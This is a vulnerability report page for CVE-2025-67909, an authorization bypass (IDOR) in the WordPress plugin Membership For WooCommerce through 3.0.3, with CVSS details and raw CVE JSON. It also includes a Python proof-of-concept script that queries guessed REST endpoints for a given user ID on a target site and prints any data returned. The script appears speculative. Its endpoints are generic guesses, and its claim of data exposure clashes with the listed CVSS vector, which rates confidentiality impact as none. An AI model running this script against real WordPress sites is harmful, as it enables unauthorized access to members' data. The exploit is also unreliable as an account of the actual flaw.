Security Vulnerability Report
中文
CVE-2025-67909 CVSS 7.5 HIGH

CVE-2025-67909

Published: 2025-12-24 13:16:20
Last Modified: 2026-04-27 18:16:48

Description

Authorization Bypass Through User-Controlled Key vulnerability in WP Swings Membership For WooCommerce membership-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Membership For WooCommerce: from n/a through <= 3.0.3.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Membership For WooCommerce <= 3.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-67909 PoC - IDOR vulnerability in Membership For WooCommerce # Target: WordPress site with Membership For WooCommerce plugin <= 3.0.3 def exploit_idor_vulnerability(target_url, user_id): """ Exploits the IDOR vulnerability in Membership For WooCommerce plugin. This PoC demonstrates unauthorized access to user membership data. Args: target_url: Base URL of the WordPress site user_id: Target user ID to access (integer) Returns: Response containing user membership data """ # Common endpoints for membership data access endpoints = [ f'{target_url}/wp-json/membership/v1/members/{user_id}', f'{target_url}/?rest_route=/membership/v1/members/{user_id}', f'{target_url}/wp-json/wp/v2/users/{user_id}', ] for endpoint in endpoints: try: response = requests.get(endpoint, timeout=10) if response.status_code == 200: print(f'[+] Successfully accessed user {user_id} via {endpoint}') print(f'Response: {response.text}') return response elif response.status_code == 401: print(f'[-] Endpoint {endpoint} requires authentication') else: print(f'[*] Endpoint {endpoint} returned status {response.status_code}') except requests.RequestException as e: print(f'[-] Error accessing {endpoint}: {str(e)}') return None def main(): if len(sys.argv) < 3: print('Usage: python cve-2025-67909-poc.py <target_url> <user_id>') print('Example: python cve-2025-67909-poc.py https://example.com 1') sys.exit(1) target_url = sys.argv[1] user_id = int(sys.argv[2]) print(f'[*] Testing CVE-2025-67909 on {target_url}') print(f'[*] Target user ID: {user_id}') exploit_idor_vulnerability(target_url, user_id) if __name__ == '__main__': main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67909", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:19.677", "lastModified": "2026-04-27T18:16:47.947", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization Bypass Through User-Controlled Key vulnerability in WP Swings Membership For WooCommerce membership-for-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Membership For WooCommerce: from n/a through <= 3.0.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/membership-for-woocommerce/vulnerability/wordpress-membership-for-woocommerce-plugin-3-0-3-insecure-direct-object-references-idor-vulnerability?_s_id=cve", "source": "[email protected]"}]}}